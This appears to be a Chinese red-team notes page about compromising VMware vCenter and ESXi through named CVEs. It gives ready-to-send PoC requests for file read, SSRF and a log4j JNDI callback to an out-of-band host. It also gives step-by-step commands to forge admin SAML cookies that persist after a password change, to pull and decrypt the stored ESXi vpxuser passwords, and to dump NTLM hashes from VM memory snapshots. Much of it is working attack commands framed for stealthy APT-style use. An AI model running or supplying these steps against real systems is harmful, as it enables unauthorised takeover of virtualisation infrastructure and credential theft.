跳转至

虚拟机管理平台渗透

vSphere,ESXi 和 vCenter 辨析:

  • VMware Inc

**VMware Inc ** 是一家软件公司。它开发了许多产品,尤其是各种云解决方案 。它的云解决方案包括云产品,数据中心产品和桌面产品等。

  • vSphere

vSphere 是在数据中心产品下的一套软件。vSphere 类似微软的 Office 办公套件,Office 办公套件包含了许多软件如 Word,Excel,Access 等。和 Office 一样,vSphere 也是一个软件的集合。它包括了 vCenter Server, ESXi 和 vSphere client,是整套虚拟化部署方案的总和。

  • ESXi

ESXi 是 vSphere 中最重要的一个组件。ESXi 是虚拟化服务。所有的虚拟机都是运行在 ESXi 服务上面。

  • vSphere Client

vSphere (web) client 是一个管理平台,它能够直接管理多个不同的 ESXi 主机,包含许多进阶功能:集群故障转移等。而 ESXi 自带的管理平台只能管理自身所处的 ESXi 主机。而 vSphere client 有更加详细的性能监控,批量更新接管所有 ESXi 系统版本。通过资源池也可以规划虚拟机资源占用。

  • vCenter Server

在 ESXi 6.0 之前是通过 C/S 架构来管理 ESXi 集群的,没有 web 端,且安装环境较为苛刻,必须为 Server 版本的服务器才可以安装。在 6.0 版本之后,官方已经取消了 C/S 架构的客户端,转而采用了 web 管理平台,又被称之为 vSphere web client。而部署了 vSphere web client 的服务器被称之为 vCenter Server。

官方推荐将打包好的 Client 与 Server 应用部署在 VMware 自家的 Photon 系统下,其安装包命名为:VMware vCenter Server Appliance,简称为:VCSA。

image-20250915164002138

Vcenter

Note

简单总结Vcenter的渗透思路:

  1. 获取Shell(CVE-2021-21972、CVE-2021-22005),尽量使用CVE-2021-22005,因为CVE-2021-21972获取的是低权限shell,需要提权
  2. 提权(非高权限用户时,可配合CVE-2021-22948)
  3. 进入后台(重置密码、Cookie登录等)

Vcenter、ESXI、VM三者的关系及渗透思路:

如果从云主机的角度类比,那么Vcenter可以类比于Master Node,ESXI类比于Node,VM类比于Pod

所以如果获取了Vcenter的权限,那么可以控制其管理的所有ESXI,如果获取了ESXI的权限,那么可以控制其下所有的虚拟机,且如果获取的ESXI上面恰好跑了Vcenter,那么也就相当于获取了Vcenter权限

常见攻击面

版本信息泄露

Text Only
/sdk/vimServiceVersions.xml

image-20250915164129465

Nuclei 相关模板:

Text Only
/nuclei-templates/technologies/vmware/vmware-detect.yaml

未授权任意文件读取漏洞

影响版本:VMware vCenter Server and VMware Cloud Foundation VMware vCenter Server (6.7 before 6.7 U3p and 6.5 before 6.5 U3r) and VMware Cloud Foundation 3.x

Fofa Dork:title="ID_VC_Welcome"

VMware vCenter 存在任意文件读取漏洞,可读取 vCenter 配置文件获得管理帐号密码进而控制 vCenter 平台及其管理的虚拟机集群。

由于 EAM 用户运行该存在漏洞的服务(非域用户),因此不存在 NTLM Relay 等中继攻击风险。

由于不同的系统版本,数据库配置文件(vcdb.properties)存放位置不同,根据官方文档,大体可以分为:

对于 vCenter Server 5.5 及更低版本:

  • Windows 2008 - C:ProgramDataVMwareVMware VirtualCenter

  • 其他 Windows 版本 -

  • C:Documents and SettingsAll UsersApplication DataVMwareVMware VirtualCenter

对于 vCenter Server 6.0、6.5、6.7:

  • C:ProgramDataVMwarevCenterServercfgvmware-vpx

POC:

Text Only
GET /eam/vib?id={{path}}vcdb.properties HTTP/1.1 Host: {{Hostname}}

nuclei 中对应的 poc:

Text Only
/nuclei-templates/vulnerabilities/vmware/vmware-vcenter-lfi.yaml
/nuclei-templates/vulnerabilities/vmware/vmware-vcenter-lfi-linux.yaml

CVE-2021-21972-未授权RCE漏洞

CVE-2021-21972 vmware vcenter的一个未授权的命令执行漏洞。该漏洞可以上传一个webshell至vcenter服务器的任意位置,然后执行webshell即可。

vSphere Client(HTML5)在 vCenter Server 插件中存在一个远程执行代码漏洞。未授权的攻击者可以通过开放 443 端口的服务器向 vCenter Server 发送精心构造的请求,从而在服务器上写入 webshell,最终造成远程任意代码执行。在 CVE-2021-21972 VMware vCenter Server 远程代码漏洞 中,攻击者可直接通过443端口构造恶意请求,执行任意代码,控制vCenter。

影响版本
  • VMware vCenter Server 7.0系列 < 7.0.U1c
  • VMware vCenter Server 6.7系列 < 6.7.U3l
  • VMware vCenter Server 6.5系列 < 6.5 U3n
  • 4.x <= Cloud Foundation (vCenter Server) < 4.2
  • 3.x <= Cloud Foundation (vCenter Server) < 3.10.1.2
漏洞利用概述

vCenter Server 的 vROPS 插件的 API 未经过鉴权,存在一些敏感接口。其中 uploadova接口存在一个上传 OVA 文件的功能:代码逻辑是将 TAR 文件解压后上传到 /tmp/unicorn_ova_dir目录。

直接将 TAR 的文件名与 /tmp/unicorn_ova_dir拼接并写入文件。如果文件名内存在 ../即可实现目录遍历。对于 Linux 版本,可以创建一个包含 ../../home/vsphere-ui/.ssh/authorized_keys的 TAR 文件并上传后利用 SSH 登陆.

漏洞检测
PHP
/ui/vropspluginui/rest/services/uploadova

访问上面的路径,如果404,则代表不存在漏洞,如果405 则可能存在漏洞

POC:

Text Only
/nuclei-templates/cves/2021/CVE-2021-21972.yaml
利用思路
  1. 写入ssh公钥(windows下需要能穿越到C盘)
  2. 通过目录遍历找到可写的web网站目录,写入webshell,随后连接
EXP
  1. Windows利用-https://github.com/horizon3ai/CVE-2021-21972
  2. 遍历写shell-https://github.com/NS-Sp4ce/CVE-2021-21972

CVE-2021-21985-未授权RCE漏洞

影响版本
  • 7.0 <= vCenter Server < 7.0 U2b
  • 6.7 <= vCenter Server < 6.7 U3n
  • 6.5 <= vCenter Server < 6.5 U3p
  • 4.x <= Cloud Foundation (vCenter Server) < 4.2.1
  • 3.x <= Cloud Foundation (vCenter Server) < 3.10.2.1
漏洞利用概述

利用的是 com.vmware.vim.vmomi.core.types.impl.VmodContextImpl 的 loadVmodlPackage 方法

并且方法中调用了 SpringContextLoader vmodPackage 可控,最终可以指定一个 XML 文件路径,Spring 会解析 XML 的内容,造成 SpEL 注入,从而实现执行任意代码。

漏洞检测
Text Only
/nuclei-templates/cves/2021/CVE-2021-21985.yaml
EXP

参考:

  1. CVE-2021-21985 VMware vCenter Server 远程代码执行漏洞分析-先知社区
  2. 干货 | vCenter 漏洞利用总结 - SecPulse.COM | 安全脉搏

CVE-2021-22005-任意文件上传漏洞

该漏洞存在于vCenter Server的分析服务中,其CVSSv3评分为 9.8。能够网络访问vCenter Server 上的 443 端口的攻击者可以通过上传恶意文件在 vCenter Server 上远程执行代码。该漏洞无需经过身份验证即可远程利用,攻击复杂度低,且无需用户交互。

影响版本
  • vCenter Server 7.0 < 7.0 U2c build-18356314
  • vCenter Server 6.7 < 6.7 U3o build-18485166
  • Cloud Foundation (vCenter Server) 4.x < KB85718 (4.3)
  • Cloud Foundation (vCenter Server) 3.x < KB85719 (3.10.2.2)

6.7 vCenters Windows版本不受影响

漏洞分析
  1. AsyncTelemetryController是/analytics/telemetry/ph/api/hyper/send请求处理入口,接收_c和_i参数
  2. 调用TelemetryLevelBasedTelemetryServiceWrapper#processTelemetry 发起ceip遥测请求,,成功后进一步处理_c和_i
  3. processTelemetry里调用this._telemetryLevelService.getTelemetryLevel来判断ceip遥测请求是否正常,这里也会传入_c和_i,如果开启成功可获取一个FULL值,除了需要开启ceip,还会对vmware的一个API接口发送请求,,需要注意的一点,如果之前没发起遥测请求,则对_c参数有要求,必须是一个合法的值,如果已经请求过,后续因为有缓存,不会再请求,则可成功通过校验。
  4. 如果ceip未开启,可通过/ui/ceip-ui/ctrl/ceip/status/true开启,但vcenter之前需要有人已经登录过一次,否则会出现接口未认证的报错。
  5. ceip请求成功后,processTelemetry接着调用LogTelemetryService#processTelemetry来解析_c和_i,log4j通过_c$s_i$s格式拼接日志路径,_i设置成如/../../../../../../tmp/test即可导致任意路径遍历写入文件,当_c=vSphere.vapi.6_7&_i=/../../../../../../tmp/test最终路径拼接如/var/log/vmware/analytics/prod/_cvSphere.vapi.6_7_i/../../../../../../tmp/foo.json,这里需要注意的是linux上目录遍历时需要遍历前的上级目录存在才可遍历。

参考:

  1. https://xz.aliyun.com/t/10524
  2. https://testbnull.medium.com/quick-note-of-vcenter-rce-cve-2021-22005-4337d5a817ee
漏洞检测
Text Only
/nuclei-templates/cves/2021/CVE-2021-22005.yaml
EXP
  1. https://github.com/r0ckysec/CVE-2021-22005
  2. https://github.com/rwincey/CVE-2021-22005/blob/main/CVE-2021-22005.py

provider-logo SSRF 漏洞

VMware vCenter v 7.0.x 的某些版本中存在未授权 SSRF 漏洞,可以读取本地文件造成敏感信息泄露;读取远程文件形成 XSS 漏洞。

POC & EXP:

Text Only
/nuclei-templates/vulnerabilities/vmware/vmware-vcenter-ssrf.yaml
Text Only
GET /ui/vcav-bootstrap/rest/vcav-providers/provider-logo?url=file:///etc/passwd HTTP/1.1
Host: {{target}}

读取 /etc/passwd:

image-20250915220603570

读取 postgresql 配置文件:

image-20250915220620734

log4j2 JNDI 注入

VMware 的产品同样也受 log4j2 漏洞的影响,具体可以参考:VMSA-2021-0028。

POC:

Text Only
/nuclei-templates/vulnerabilities/vmware/vmware-vcenter-log4j-jndi-rce.yaml
Text Only
GET /websso/SAML2/SSO/vsphere.local?SAMLRequest= HTTP/1.1
Host: {{Hostname}}
X-Forwarded-For: ${jndi:${lower:d}n${lower:s}://${env:hostName}.{{interactsh-url}}}

获取vcenter-web控制台权限

重置密码

比较快的一种方法,但是修改之后无法获取原来的密码,管理员会发现密码被改

选择 3 选项,输入默认 administrator@vsphere.local (需要管理员权限)

PHP
#Linux 
/usr/lib/vmware-vmdir/bin/vdcadmintool 

#Windows 
C:\Program Files\Vmware\vCenter Server\vmdird\vdcadmintool.exe

image-20250915221409208

Note

动静太大,不建议使用该方法

vSphere 5.0 版本引入了 SSO,支持使用 SAML 作为授权服务支持。当用户登录服务时,该服务会将身份验证请求转发给 SAML 。SAML 验证用户凭据是否正确以及他们是否有权访问指定的服务。

在 vCenter 中从 /storage/db/vmware-vmdir/data.mdb 提取 IdP 证书,为管理员用户创建 SAML 请求,最后使用 vCenter server 进行身份验证并获得有效的管理员 cookie。

这个方法是最符合APT/红队需求的,因为这个方法不会导致密码重置,并且管理员发现并改密以后,依旧可以登录

首先需要从 vCenter 获得数据库文件:

Linux:/storage/db/vmware-vmdir/data.mdb

Windows:C:ProgramDataVMwarevCenterServerdatavmdirddata.mdb

解密脚本:https://github.com/horizon3ai/vcenter_saml_login

Bash
python vcenter_saml_login.py -p data.mdb -t 10.9.16.11 

然后会生成相应的cookie,访问 ui 路径进行 cookie 替换即可

image-20250915222231920

Note

需要注意的点:

  1. data.mdb默认权限是000,所以不能读写,建议是先cp到某个目录,比如tmp下,然后再修改复制后文件的权限
  2. vcenter_saml_login这个脚本的ldap,不能直接用pip install ldap装,而需要 pip install python-ldap
  3. 一些老版本的openssl可能会报出 AttributeError: module 'lib' has no attribute 'X509_V_FLAG_NOTIFY_POLICY'这个错误, 我换了个新版的机器好了, 或者也可以通过apt upgrade python3-openssl解决(适合ubuntu机型)
  4. 最后就是这个脚本是需要和vcenter进行交互的,所以最好放在同一个网络环境中,并且ip地址或者域名要填写正确,不然无法登录

上述操作可能由于网络、data.mdb文件过大等因素导致失败,此时我们也可以通过上传脚本到目标服务器上,在线解密的方式

先使用这个脚本,生成如下三个文件(如果data.mdb文件太大,就可以将该脚本上传到服务器上,然后生成下面三个文件):

Text Only
https://3gstudent.github.io/vSphere%E5%BC%80%E5%8F%91%E6%8C%87%E5%8D%976-vCenter-SAML-Certificates

image-20250915231408426

再使用如下脚本生成Cookie

Text Only
https://github.com/3gstudent/Homework-of-Python/blob/master/vCenter_ExtraCertFromMdb.py
Bash
python vCenter_ExtraCertFromMdb.py 10.x.x.x 10.x.x.x vsphere.local idp_cert.txt trusted_cert_1.txt trusted_cert_2.txt

其中vsphere.local是获取到的Domain

解密vpxuser(CVE-2021-22948)

vpxuser是什么?

“vpxuser”是在ESXi和vCenter之间第一次连接时自动创建的高级特权用户。

“vpxuser”用户是在ESXi上默认创建的,按照最小权限原则设计,无需使用root用户即可由vCenter管理。用户是通过一个名为“vpxd”的进程创建的,该进程负责ESXi和vCenter之间的通信。

参考: VMware vCenter中的敏感信息泄露分析 - 嘶吼 RoarTalk – 网络安全行业综合服务平台,4hou.com

查看域

PHP
#Linux
/usr/lib/vmware-vmafd/bin/vmafd-cli get-domain-name --server-name localhost

#windows
C:\Program Files\VMware\vCenter Server\vmafdd\vmafd-cli get-domain-name --server-name localhost
C:\PROGRA~1\VMware\"vCenter Server"\vmafdd\vmafd-cli get-domain-name --server-name localhost
获取解密key
PHP
#Windows
type C:\ProgramData\VMware\vCenterServer\cfg\vmware-vpx\ssl\symkey.dat

#Linux
cat /etc/vmware-vpx/ssl/symkey.dat
获取数据库帐号密码

vcenter默认数据库文件存放在vcdb.properties,配置文件中有数据库的明文账号密码

PHP
#Linux
cat /etc/vmware-vpx/vcdb.properties
cat /etc/vmware/service-state/vpxd/vcdb.properties

#Windows
type C:\ProgramData\VMware\"VMware VirtualCenter"\vcdb.properties
type C:\ProgramData\VMware\vCenterServer\cfg\vmware-vpx\vcdb.properties

默认是postgresql数据库,只能在vCenter服务器本地登录,执行语句查询ESXI的密码

PHP
#psql默认存放位置
Windows: C:\Program Files\VMware\vCenter Server\vPostgres\bin\psql.exe
Linux: /opt/vmware/vpostgres/9.3/bin/psql

#执行语句查询
psql -h 127.0.0.1 -p 5432 -U vc -d VCDB -c "select ip_address,user_name,password from vpx_host;" > password.enc

#执行完会输出一段加密字段
Shell access is granted to root
Password for user vc: 
ip_address  | user_name |                                         password                                      
-------------+-----------+---------------------------------------------------------------------------------------
192.168.1.1 | vpxuser   | *H8BBiGe3kQqaujz3ptZvzhWXXZ0M6QOoOFIKL0p0cUDkWF/iMwikwt7BCrfEDRnXCqxoju4t2fsRV3xNMg==
192.168.1.2 | vpxuser   | *zR20RvimwMPHz7U6LJW+GnmLod9pdHpdhIFO+Ooqk0/pn2NGDuKRae+ysy3rxBdwepRzNLdq6+paOgi54Q==
192.168.1.3 | vpxuser   | *Q81OIBXziWr0orka0j++PKMSgw6f7kC0lCmITzSlbl/jCDTuRSs07oQnNFpSCC6IhZoPPto5ix0SccQPDw==
192.168.1.4 | vpxuser   | *R6HqZzojKrFeshDIP8vXPMhN28mLDHiEEBSXWYXNHrQQvHcuLOFlLquI2oLRfqLiPlHwkmAxUj9hKj3VZA==
(4 rows)

#只保留password字段
*H8BBiGe3kQqaujz3ptZvzhWXXZ0M6QOoOFIKL0p0cUDkWF/iMwikwt7BCrfEDRnXCqxoju4t2fsRV3xNMg==
*zR20RvimwMPHz7U6LJW+GnmLod9pdHpdhIFO+Ooqk0/pn2NGDuKRae+ysy3rxBdwepRzNLdq6+paOgi54Q==
*Q81OIBXziWr0orka0j++PKMSgw6f7kC0lCmITzSlbl/jCDTuRSs07oQnNFpSCC6IhZoPPto5ix0SccQPDw==
*R6HqZzojKrFeshDIP8vXPMhN28mLDHiEEBSXWYXNHrQQvHcuLOFlLquI2oLRfqLiPlHwkmAxUj9hKj3VZA==

在实际情况中也碰到使用 MSSQL 数据库的情况,这时候直接使用 navicat 进行连接,搜索 VPX_HOST 表

image-20250915223809381

image-20250915223821954

使用脚本解密

https://github.com/shmilylty/vhost_password_decrypt

  • password字段放到password.enc里面
  • symkey.dat为第一步获取的解密key
Bash
python decrypt.py symkey.dat password.enc password.txt

执行脚本后,会输出一个password.txt,里面存放着对应 ip_address 的 ESXI 机器密码

登录ESXI

在 ESXI 机器地址后面添加 /ui ,访问web控制台,账密为vpxuser/

解密出来的密码除了可以登录web控制台以外还可以ssh登录机器,不过需要服务里开启 SSH 安全shell

image-20250915224030190

Note

解密vpxuser通常配合CVE-2021-21972使用,因为CVE-2021-21972获取的shell为vsphere-ui权限,必须要提权,此时就可以通过解密vpxuser去达到一个提权的作用

获取虚拟机权限

登录web控制台后,想要获取某个虚拟机的权限,比如说目标系统为靶标

选择目标虚拟机,操作生成快照

image-20250915225957288

到数据存储位置找到相应的快照文件

image-20250915230010550

也可以通过 ssh 登录ESXI服务器上,通过 find 找出相应的 vmem 和 vmsn 文件拷贝到本地

PHP
find / -name "*.vmem"

使用 volatility 工具查看 profile

PHP
volatility_2.6_win64_standalone.exe -f WindowsServer2008r2.vmem imageinfo

image-20250915230213894

读取注册表

PHP
volatility_2.6_win64_standalone.exe -f WindowsServer2008r2.vmem --profile=Win7SP1x64 hivelist

image-20250915230230603

获取hash并解出密码

PHP
volatility_2.6_win64_standalone.exe -f WindowsServer2008r2.vmem --profile=Win7SP1x64 hashdump -y 0xfffff8a000024010 -s 0xfffff8a00084c010

image-20250915230250121

将读取的NTLM值进行爆破,得到明文密码,或尝试PTH横向

VMware ESXi